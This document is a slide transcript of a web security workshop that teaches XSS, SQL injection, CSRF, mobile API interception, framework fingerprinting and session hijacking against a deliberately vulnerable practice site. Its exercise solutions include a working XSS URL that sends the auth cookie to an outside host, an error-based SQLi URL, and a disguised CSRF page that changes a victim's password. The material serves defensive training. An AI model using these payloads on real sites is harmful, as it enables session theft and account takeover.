Hack Yourself First - Cornerstone · Hack Yourself First ... troyhunt.com. [email protected]....
Transcript of Hack Yourself First - Cornerstone · Hack Yourself First ... troyhunt.com. [email protected]....
We’re gonna turn you into lean, mean
hacking machines!
Because if we don’t, these kidsare going to hack you
Ryan Cleary, 20(and his mum)
Jake Davies, 19(and his mum)
Curtis Gervais, 16, awaiting trial(probably with his mum)
Who are we protecting our assets from?
Hacker Competency
Hacker Resources
Bored kids
Pocket money
Super Hackers
$10.8Bper annum
Common Thieves
Can invest where ROI
makes sense
Your Hacker Tools for Today
• A Wi-Fi connection• A mobile device you can configure a proxy on
– I have a few spares• Google Chrome
– Or another browser with good dev tools• Fiddler – getfiddler.com
– Or another HTTP proxy like charlesproxy.com
What we’ll be coveringIntroduction – 30 mins 09:00Discovering risks via the browser – 30 mins 09:30Using an HTTP proxy – 30 mins 10:00Break – 15 mins 10:30XSS – 50 mins 10:45SQL injection – 55 mins 11:35Lunch – 1 hour 12:30Mobile APIs – 60 mins 13:30CSRF – 50 mins 14:30Break – 15 mins 15:20Framework disclosure – 30 mins 15:35Session hijacking – 35 mins 16:05Wrap up – 20 mins 16:40Close 17:00
Discovering risks via the browserExercise 1
Exercise 1 – Chrome developer tools
• Familiarise yourself with the dev tools– Elements, network, cookies, console, por… uh, incognito
• Create an account at hackyourselffirst.troyhunt.com
Hacker Challenge 1:Identify three security riskswith the registration process
Using an HTTP proxyExercise 2
Exercise 2 – Using an HTTP proxy
• Familiarise yourself with Fiddler– Watch requests and their headers, review response body
and headers, use the composer to reissue request
Hacker Challenge 2:Use Fiddler to vote multiple times on 1 car with your ID
Reflected cross site scripting (XSS)Exercise 3
Understanding XSS
mysite.com/?q=<script>alert('Yay XSS!');</script>
<p>You searched for <%= Request.QueryString["q"] %></p>
<p>You searched for <script>alert('Yay XSS!');</script></p>
mysite.com/?q=ferrari
<p>You searched for ferrari</p>
Some quick XSS tips
• Check the encoding context– You encode for HTML differently than for JavaScript
• Check the encoding consistency– Often it’s manual and some characters are not encoded
• Play with JavaScript to:– Manipulate the DOM, access cookies, load external
resources
Exercise 3 – XSS
• Establish the encoding practices on the search page– What’s encoded, what’s not, what contexts are encoding
• What can be accessed or manipulated in the DOM
Hacker Challenge 3:Create an XSS attack that sends the auth cookie to another site
Exercise 3 solution
http://hackyourselffirst.troyhunt.com/Search?searchTerm=');document.location='http://www.troyhunt.com/?c='%2bdocument
.cookie;//
SQL injection (SQLi)Exercise 4
Understanding SQLi
mysite.com/?id=foo
var query = "SELECT * FROM Widget WHERE Id = "query += Request.Query["id"]
SELECT * FROM Widget WHERE Id = foo
mysite.com/?id=1
SELECT * FROM Widget WHERE Id = 1
Invalid column name 'foo'
Some quick SQLi tips
• Think of SQL commands which disclose structure– sys.tables, sys.columns, system commands
• Consider how you’d enumerate through records– Select top x rows asc then top 1 rows from that desc
• Write out how you think the query works internally– SELECT * FROM Supercar ORDER BY [URL param]
Exercise 4 – SQLi
• Explore the database using error-based SQLi– Construct strings to disclose internal data– Cast things to invalid types to disclose via exceptions
Hacker Challenge 4:Discover the version of the DB
Exercise 4 solution
http://hackyourselffirst.troyhunt.com/Make/1?orderby=@@VERSION*1
Mobile APIsExercise 5
Understanding mobile APIs
Who are we protecting our APIs from?
Attacker
Attacker
HTTP(S)
Trusting the Fiddler root cert
http://ipv4.fiddler:8888
Some quick mobile API tips
• Look at the HTTP requests for sensitive data– Credentials, account info, PII
• Remove the proxy’s root cert and make HTTPS requests– Is cert validation actually enabled in the app?
• In your own apps:– Parameter tampering, auth bypass, direct object refs
Exercise 5 – Mobile APIs
• Proxy your device through Fiddler or Charles– Inspect the traffic of your apps– Perform normal activities and monitor requests
Hacker Challenge 5:Find three “things of interest” – doesn’t have to be security related
Cross site request forgery (CSRF)Exercise 6
Understanding CSRF
POST /Login/Account
Set-Cookie: AuthCookie=XXX…
GET /Path/To/Authenticated/Resource
Authenticated request!
Cookie: AuthCookie=XXX…CSRF here!
Some quick CSRF tips
• Establish the request pattern to the target resource– What fields are being sent
• Reconstruct the request from your own resource– Normally a malicious page
• Lure the user into the malicious resource– Usually requires incentivisation
Exercise 6 – CSRF
• Mount your own CSRF attack– Reproduce a legitimate request– Use it to perform a malicious action
Hacker Challenge 6:Change the present user’s password when they load your page
Exercise 6 solution
Exercise 6 solution
<html><head><title>Win an iPhone!!!</title>
</head><body style="text-align: center;"><h1 style="font-size: 1.7em;">Want to win an iPhone? Of course you do! Click the button below and it's yours!!!</h1>
<form action="https://hackyourselffirst.troyhunt.com/Account/ChangePassword" method="POST"target="hiddenFrame"><input type="hidden" name="NewPassword" value="hackpword" /><input type="hidden" name="ConfirmPassword" value="hackpword" /><input type="submit" value="I wanna win!" onclick="alert('You won! Click ok and it\'s
done')" style="font-size: 2em;" /></form><p><img src="iPhone.jpg" style="width: 900px;" /></p><iframe name="hiddenFrame" style="display: none;"></iframe>
</body></html>
Framework disclosureExercise 7
Understanding framework disclosure risks
Learn of framework vulnerability
Search web for vulnerable sites
Pwn!
Some quick framework disclosure tips
• There are multiple ways the framework is leaked– This can differ by web stack
• Different requests can cause different leakage– Consider the different ways in which a site may responds
• Also think about other ways disclosure happens– Markup structure, naming patterns, etc
Exercise 7 – Framework disclosure
• Discover the internal framework of the site– Identify what’s being implicitly leaked– Cause the app to leak additional information
Hacker Challenge 7:Identify 3 different ways in which the internal framework is disclosed
Exercise 7 solution
1. Response headers (server, powered by, ASP.NET version, MVC version)2. Unhandled exception stack trace (includes minor ASP.NET version)
3. Session ID cookie name (ASP.NET_SessionId)4. Error page for 404 (includes minor ASP.NET version)
5. Elmah6. HTTP fingerprinting…
HTTP field ordering
Apache 1.3.23HTTP/1.1 200 OKDate: Sun, 15 Jun 2003 17:10:49 GMTServer: Apache/1.3.23 Last-Modified: Thu, 27 Feb 2003…ETag: "32417-c4-3e5d8a83"Accept-Ranges: bytesContent-Length: 196Connection: closeContent-Type: text/html
IIS 5.0HTTP/1.1 200 OKServer: Microsoft-IIS/5.0Content-Location: http://iis.example.comDate: Fri, 01 Jan 1999 20:13:52 GMTContent-Type: text/htmlAccept-Ranges: bytesLast-Modified: Fri, 01 Jan 1999…ETag: W/"e0d362a4c335be1:ae1"Content-Length: 133
Other fingerprinting indicators
• Forbidden resource• Improper HTTP version• Improper protocol
Session hijackingExercise 8
Understanding session hijacking
POST /Login/Account
Set-Cookie: AuthCookie=XXX…
Attacker steals the cookie
Attacker issues “authenticated” request with the cookie
Some quick session hijacking tips
• Persistence over HTTP can be done multiple ways – Cookie, URL
• Session or auth ID can be obtained multiple ways– Insecure transport, referrer, stored in exceptions, XSS
• Factors that limit hijacking– Short duration expiry, keyed to client device / IP
Exercise 8 – Session hijacking
• Mount a session hijacking attack– Identify how auth is being persisted– Obtain the auth token using a vuln in the app
Hacker Challenge 8:Use an XSS risk to obtain the auth token and recreate the session in another browser